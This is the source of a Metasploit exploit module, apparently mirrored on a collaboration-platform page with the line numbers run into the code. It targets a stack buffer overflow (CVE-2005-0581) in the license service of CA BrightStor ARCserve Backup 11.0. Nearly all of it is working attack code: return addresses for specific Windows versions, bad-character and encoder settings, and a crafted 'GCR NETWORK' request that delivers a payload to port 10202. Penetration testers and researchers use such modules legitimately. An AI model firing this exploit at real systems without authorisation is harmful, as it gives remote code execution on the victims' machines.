Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/brightstor/license_gcr.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'CA BrightStor ARCserve License Service GCR NETWORK Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup 11.0.15By sending a specially crafted request to the lic98rmtd.exe service, an attacker16could overflow the buffer and execute arbitrary code.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2005-0581' ],23[ 'OSVDB', '14389' ],24[ 'BID', '12705' ],25],26'Privileged' => true,27'DefaultOptions' =>28{29'EXITFUNC' => 'thread',30},31'Payload' =>32{33'Space' => 500,34'BadChars' => "\x00\x09\x0a\x0d\x20\x0c\x25\x26\x27\x0b\x2b\x2f\x3a\x3c\x3e\x3f\x40",35'StackAdjustment' => -3500,36'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",37},38'Platform' => 'win',39'Targets' =>40[41[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll42[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll43],44'DisclosureDate' => '2005-03-02',45'DefaultTarget' => 0))4647register_options([ Opt::RPORT(10202) ])48end4950def exploit51connect5253buff = rand_text_alpha_upper(256) + [target.ret].pack('V')54buff << make_nops(12) + payload.encoded5556# NETWORK<x.x.x.x buff x.x.x.x.x> ... worked for me.57sploit = "A0 GCR NETWORK<#{buff}>RMTV<1.00><EOM>"5859print_status("Trying target #{target.name}...")6061sock.put(sploit)6263handler64disconnect65end66end676869